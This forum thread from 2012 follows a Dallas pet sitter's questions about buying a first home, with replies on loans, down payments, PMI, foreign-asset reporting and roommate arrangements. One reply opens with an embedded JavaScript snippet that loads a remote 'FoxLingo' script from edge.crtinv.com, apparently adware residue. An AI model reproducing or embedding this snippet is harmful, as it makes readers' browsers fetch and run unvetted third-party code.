Clueless about home buying.... Seriously considering, but....

carolina · Oct 15, 2012

Ok - first of, for the ones who know me on facebook, please keep this out of there

I am seriously looking into buying a home soon, but I am also seriously clueless about it. And there are some major problems too.
Problem #1 - My credit - I went through debit management so my credit is not the best. It is not horrible, but not good.
I do have a good income, no debt, a credit card that I pay off monthly and I am working on rebuilding my credit. At this point everything is paid off, including my car - all my income is free.
As I did my research, I saw that my problem will be a higher rate, which I am ok with, and probably a higher down payment - I am also ok with it.

I live in Dallas, and it makes sense to me now to buy a home instead of keeping paying rent - specially with my petsitting costs and situation.....
Sounds crazy, but my plan is to get a roommate to live for free with me for free, utilities paid, in exchange for sitting services while I am out of town - I think that is a good deal for both of us. Right now I am paying more than rent for sitters, and while I don't have a problem with that, I believe I can get more for me and the kitties with the same $$$. More space and more stability, with one person living there, instead of several sitters.
I would also save $$$ in the process.
Hopefully the kitties would have a yard...... and a home office for myself - my apartment is way too tiny for me to live and work.

Anyways..... Evidently this is a new thing for me.
I know nothing. I don't know where to go, types of loans, NOTHING.
I know I might have some advantages as a first time buyer - or so I hear...... But - What do I do first?
I have no family here in the US.... so....... I am sorry my questions sound kink of dumb -
I guess help?
If I can't buy, my choice will be renting a house but If I can make this work I rather buy even with higher rates and refinancing in the future when my credit is better - at least the $$$ will be going into something of my own.

Thanks!

Willowy · Oct 16, 2012

It was surprisingly easy for me. I was only 23 and didn't have a lot of credit (only one credit card and a car loan that was jointly held with my parents). . .but having no credit might be different from having a "credit event" on there.

I just called the credit union (CUs are usually more accommodating and have better rates than banks) and got preapproved for a loan, then contacted a realtor. Looked at a few houses, picked one, made an offer, haggled a bit, agreed on a price, and the realtor and CU handled everything from there. I only had to sign some papers.

I don't know much about the First-Time Homebuyers' Program. The realtor told me that it's not really worth it if you're able to put down a decent down payment, so I never looked into it :dk:. But maybe he just didn't want to do the paperwork :lol3:.

But, it was 2003 when I bought my house and a lot of things have probably changed. But definitely talk to your bank/credit union and a realtor. They'll be very helpful.

One thing--don't get any fancy loans. Some banks will try to talk you into it because they make more money on them. No balloon loans, variable-rate loans, part mortgage part home equity loans, etc. Just a plain old 30-year fixed-rate mortgage. The fancy ones can really end up in a mess if you aren't a banking/financial whiz.

natalie_ca · Oct 16, 2012

natalie_ca · Oct 16, 2012

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); Here is a link to a Canadian site, but it should apply to you as well. It has videos that explain things.

http://www.ratehub.ca/first-time-home-buyer

Willowy · Oct 16, 2012

I just Googled "first time home buyers program". Apparently in the U.S., the first time home buyers loans are government subsidized, so there are income limits, condition requirements, and home price constraints. It sounds like my realtor was right--if you have a good down payment, you'll probably do better with a regular loan. A quick overview: http://banking.about.com/od/mortgages/a/firsttimebuyer.htm

You will get a pretty nifty tax credit, though

.

mrblanche · Oct 17, 2012

Carolina, I used to be a real estate agent (and assistant manager of an Ebby Halliday office). Things have changed a lot since I last worked in it, but I can tell you a lot of things that might help you. For one thing, ask any prospective lender what their debt-to-income ratio requirements are.

Oddly enough, I think I once told Dottie you would make a great real estate agent yourself!

I DO know that the easiest way for a first-time buyer to get into the market is to buy from a new-home builder. I don't know what you'd be looking at, but the advantages are that they usually have a captive mortgage company and you are unlikely to have any home repairs any time in the near future.

swampwitch · Oct 17, 2012

In addition to getting approval for a loan, you will need a downpayment of about 20% of the house's purchase price (with excellent credit report that percentage can be brought down). Sorry I don't remember exactly, but you are originally from Brazil, I think? I don't know if you are a U.S. citizen, resident, or in Texas on a visa; but Texas has many programs to help first-time buyers - you'll need to look into qualifying, though, I don't know about the citizen requirements.

You will also need to sit down with an international tax specialist and discuss tax consequences for both countries. If you are a U.S. citizen and own any money or assets in another country, even if you eventually inherit something there, you have to report everything over $10K (total) on two separate forms you add to your income tax returns (one was bad enough but they've just added another). There are SEVERE consequences for not reporting foreign assets, we are talking penalties in the 5-digits and jail time. If you are not a U.S. citizen, you'll need to check back home and see what the consequences are for having foreign (U.S.) assets here.

You will want to go through the numbers, listing how much renting costs you and what it will cost to buy a house. Don't forget you will be paying for the plumbers, electricians. and you'll have to come up with the cash when a new roof is needed, hot water heater, perimeter drains replaced, etc. etc. it can eat up savings pretty fast. Houses are not always good investments! Many people who can afford houses do rent, and they invest the money they would use for house upkeep and taxes. This is a good way to stay out of debt, have extra cash on hand, and keep one's assets liquid.

One more piece of advice, this is important, please DO NOT give a roommate free rent in exchange for taking care of your kitties. Reduced rent and maybe another perk or two would be better, you want the roommate to have some accountability! It's too tempting for human nature to get a free ride and do less and less because of it. You will get better quality cat care from someone who is paying his or her way, at least partially. Good luck, I hope it works out for you.

carolina · Oct 17, 2012

SwampWitch said:
In addition to getting approval for a loan, you will need a downpayment of about 20% of the house's purchase price (with excellent credit report that percentage can be brought down). Sorry I don't remember exactly, but you are originally from Brazil, I think? I don't know if you are a U.S. citizen, resident, or in Texas on a visa; but Texas has many programs to help first-time buyers - you'll need to look into qualifying, though, if you are not a citizen. I am a US citizen; I am aware of the 20% down payment - that's what I had read with my credit being what it is......

You will also need to sit down with an international tax specialist and discuss tax consequences for both countries. If you are a U.S. citizen and own any money or assets in another country, even if you eventually inherit something there, you have to report everything over $10K (total) on two separate forms you add to your income tax returns. There are SEVERE consequences for not reporting foreign assets, we are talking penalties in the 5-digits and jail time. If you are not a U.S. citizen, you'll need to check back home and see what the consequences are for having foreign (U.S.) assets here.My understanding is that this is the case if I transfer the money overhere. I never worked in Brazil; my properties in there are in my father's name, for my use once he passes. All his properties are divided in between me and my sibblings, but we will only inherit when he dies. When that happens, yes, of course I will pay taxes, because the money will be transfered IF I sell the properties. If not, I will rent the properties there.

You will want to go through the numbers, listing how much renting costs you and what it will cost to buy a house. Don't forget you will be paying for the plumbers, electricians. and you'll have to come up with the cash when a new roof is needed, hot water heater, perimeter drains replaced, etc. etc. it can eat up savings pretty fast. Houses are not always good investments! Many people who can afford houses do rent, and they invest the money they would use for house upkeep and taxes. This is a good way to stay out of debt, have extra cash on hand, and keep one's assets liquid.

One more piece of advice, this is important, please DO NOT give a roommate free rent in exchange for taking care of your kitties. Reduced rent and maybe another perk or two would be better, you want the roommate to have some accountability! It's too tempting for human nature to get a free ride and do less and less because of it. You will get better quality cat care from someone who is paying his or her way, at least partially. Good luck, I hope it works out for you.
Thanks! I will put some major thought on this - it does make sense!

swampwitch · Oct 17, 2012

Carolina said:
My understanding is that this is the case if I transfer the money overhere. I never worked in Brazil; my properties in there are in my father's name, for my use once he passes. All his properties are divided in between me and my sibblings, but we will only inherit when he dies. When that happens, yes, of course I will pay taxes, because the money will be transfered IF I sell the properties. If not, I will rent the properties there.

Click to expand...

Whether you buy a house or not, as a U.S. citizen you WILL need to know about these two forms when your father passes away.

http://www.irs.gov/Businesses/Comparison-of-Form-8938-and-FBAR-Requirements

The U.S. government requires all of its citizens, no matter where they live, to report ALL foreign assets if they reach $10K or more any time during the year. Eventually when you inherit a property or properties from your dad, you might need a tax accountant to help you file these properly and promptly. The U.S. government is really going after its citizens' foreign holdings.

carolina · Oct 17, 2012

SwampWitch said:
Whether you buy a house or not, as a U.S. citizen you WILL need to know about these two forms when your father passes away.

http://www.irs.gov/Businesses/Comparison-of-Form-8938-and-FBAR-Requirements

The U.S. government requires all of its citizens, no matter where they live, to report ALL foreign assets if they reach $10K or more any time during the year. Eventually when you inherit a property or properties from your dad, you might need a tax accountant to help you file these properly and promptly. The U.S. government is really going after its citizens' foreign holdings.

I understand.... Thanks! But I am not even close to think about my dad passing away :nod:
I am not looking for an inheritance right now - when the time comes, I will pay taxes - don't worry..... If I get the money..... I might have other plans.... I might leave the properties to my nephew and my niece, I don't know. I want my dad alive for many many years :heart3:
So........ not thinking about it for now - not where I am at :nod:

nurseangel · Oct 17, 2012

My friend's brother is a real estate agent and he deals primarily in foreclosures. He says that most of the problems with foreclosures are cosmetic fixes and you get a lot for your money. He found my friend a really nice home that needed paint and new appliances, but she saved big. It makes me sad to think of someone losing their home, but by the time it goes on the market it's too late anyway. A home inspection is a good idea before buying any home, because you don't want any costly surprises. Good luck in your search and congratulations. I am excited for you!

stephanietx · Oct 18, 2012

I live in Fort Worth. Most of the foreclosed homes I've seen have massive foundation problems, so that's one thing to look for if you look at older homes and/or foreclosed homes. Many newer homes are not as well made as older homes, in my opinion. When we purchased our home in 2005, we had a hard time finding a lender because we had over $20,000 in savings as a down payment. Most lenders were looking for people who wanted to roll their closing costs and bulk of the "down payment" into their loan. The banks make more money that way. If you have renter's insurance, call your insurance company and see if they have a program where they recommend realtors. Dave Ramsey's site also has a realtor referral thing, I think.

The biggest thing we did that was helpful for us was to drive around areas of town where we wanted to live at various times of the day and night and also on teh weekends. That way, you can see what the traffic is like and if folks get out in their yards or things like that. Also, don't be in a hurry to find a house. Know what kind of things you want and be willing to wait for "the" house to come along. Don't settle!! Also, pre-determine what amount is your maximum you want to spend and be willing to walk away if the buyer won't counter with an acceptable amount. Houses around here are still overpriced, even with the economy the way it is. Lastly, before you make any decision, call the police department and ask for a crime report in the area. You might even be able to find that info online. You want to be sure you're not moving into a neighborhood rife with drug traffic, theft, or home invasions.

MoochNNoodles · Oct 19, 2012

A few years before DH and I bought I picked a book up about it. I think it was titled "Buying Your First House" or something like that. It was VERY helpful. Even just to refer back to when I couldn't ask a person right away. We were blessed with a good, honest real estate agent my family has worked with over the years. The same for our lawyer.

carolina · Oct 20, 2012

Ok.... So I am making some progress here

I have a good friend of mine who I trust greatly..... He has purchased several home throughout the years, and just bought another one.... He will send me to his lender - he and his family have been working with her for many many years. As a first time buyer, he said I should look into a FHA 30yr loan. He just got a home like that and did great (if you don't have a home for 2 years you can qualify as a first time buyer again, I guess). Anyways - I will talk to her on Monday.... and go from there on getting qualified for a loan.
After that I will go onto looking for a home if I get approved :cross:

Right now I am looking either here in Dallas county or Denton, Corinth, Carrolton as it would be closer to the airport :nod: The homes there are great for the $$$ Momma and kitties would be very happy :nod:
I would be a good 10 miles closer to the airport too, which for me is a big deal - it is pretty much all the driving I do.

The requirements I have at this point, is at least 3 bedrooms 2 ba. A fenced yard so I can put a cat fence, ready to move in, an amount that I can afford, of course, and not much up keep. No pool would be best, not a huge garden, etc. A lot of the homes I saw on the price range I want are 4br. I might be ok with that..... I don't know if that is too big..... Will see.....
I plan to have my niece coming to live with me in a couple of years (I want her to come to spend a year here in high school as an international student), so an extra bedroom might be a good idea, since I will need an office.
Oh - a good school district would be good too, since niece will be coming along

Anyways - lots of things to consider - this is getting exciting all of the sudden...... Hope it becomes reality :cross:

margecat · Oct 20, 2012

How long ago was your credit problem? The longer, the better, I would imagine, though, nowadays, with so many people defaulting on their mortgages, I do not envy anyone buying for the first time. Thing mays be much more stringent now.

We bought our house 7 years ago. I had excellent credit. I did not, however, put down 20%; you don't have to. if you don't you must pay PMI: private mortgage insurance. No, this doesn't help you; it merely gives your mortgage company backup should you default. Seven years, later we're STILL paying it. However, you can add more to your mortgage payment each month (make sure you specify on your payment slip that it's to go toward the PRINCIPAL, not the interest), and that can help you get up to that magical 20% faster (as can improving, not merely fixing, your home, which can add value; or, not likely to happen right now, you can prove that your home value is now worth more), or a combination of what I said. In most states, they must notify you when you've hit 22%. You can petiotion to have PMI removed at 20%, but you wwill have to pay for a re-appraisal of your home's value (about $360-450). If they still exist, beware of balloon mortgages, or ARMS (adjustable rates mortgages). ARMS supposedly can be good for some situations, but I don't think they ever are. Beware of any company that advertises very low, unbelievable rates. That won't be the rate you'll get. Also, as a single woman, be prepared for the possibility of being treated in a dismissive way by a male broker, etc. Of course, most men aren't like that, but I encountered condescending treatment (even though I was married, DH's job made it hard for him to be with me, so I handled everything myself). I was treated like a stupid little woman whose husband should've been there. I walked right out of that place. In fact, I chose my broker because he treated me with admiration (I had done my mortgage homework, understood the terminology, etc.) and respect.

If I remember correctly, you usually get a better interest rate by going through a mortgage broker, than a bank--or is the other way around?!?! I used a broker.

They'll want to see several (usually 2 years) year's-worth of paycheck stubs, and (3 years-worth) of ALL of your bank/investment statements, and EVERY page of those. If a page is missing, they will want to know why it isn't there. When you get the point of actually having bought your house, the seller gets to see all of the above, and they will question why you're not using a subtantial amount of, let's say, a mutual fund profit toward the downpayment. That happened to me (it was in a fund I could not access until retirement). You will get to see a copy of their tax return--have no idea how that helps a buyer!

I second Swamp Witch's comments, especially about the roommate. Also, what happens if the roomate moves out? You'd have to carry the full mortgage payment until you got another tennant--can you afford that?

carolina · Oct 20, 2012

MargeCat said:
I second Swamp Witch's comments, especially about the roommate. Also, what happens if the roomate moves out? You'd have to carry the full mortgage payment until you got another tennant--can you afford that?

The answer is yes - I can afford it - I am not looking into something that would be much more than rent. All taxes, insurance, etc. combined, it not much higher than rent. I can afford.

natalie_ca · Oct 21, 2012

Don't forget to factor in the cost of utilities and up-keep/repairs.

carolina · Oct 21, 2012

Natalie_ca said:
Don't forget to factor in the cost of utilities and up-keep/repairs.

Thanks guys, yes, I am factoring this in.....

carolina · Oct 21, 2012

Carolina said:
Thanks guys, yes, I am factoring this in.....

Here is the deal:
With rent and sitter alone right now, without utilities, I am paying well over $2,000/mo.
I CAN afford that. I can afford my utilities. I have no other bills, I have no debt. My problem is not that. My problem is that all that money is going straight to the trash.
I can get homes here in Dallas, with all combined for far less than that - yes, utilities included.
And if I don't have a roommate and I have to pay for someone to take care of the cats, the cost of the home, mortgage, etc, is not going so much higher that would be putting me in a position where I would not be able to afford.
So..... Just wanted to make that clear.....
My issue is not necessarily saving money - but rather, I can have more for the same money. I can have something of my own, instead of being living in a tiny one bedroom little apartment, without an office, without a separate bedroom for the sitter...... and without investing all that $$$ in my future.
That's all it is. It is just time for me. I am tired of a little place, and looking for something that is better for me. I will not get anything I can't afford......

mrblanche · Oct 22, 2012

Well, technically speaking, no, your rent is not just going down the drain. It's providing a place for you and the kitties to live. But yes, I think you could find a house with payments and utilities for less than that, by a long ways.

If you want to sit down and discuss some of this, let me know. I would sure like to see you in a nice home of your own.

Four bedroom homes are easier to resell, because you can use 3 as bedrooms and one as an office.

Clueless about home buying.... Seriously considering, but....

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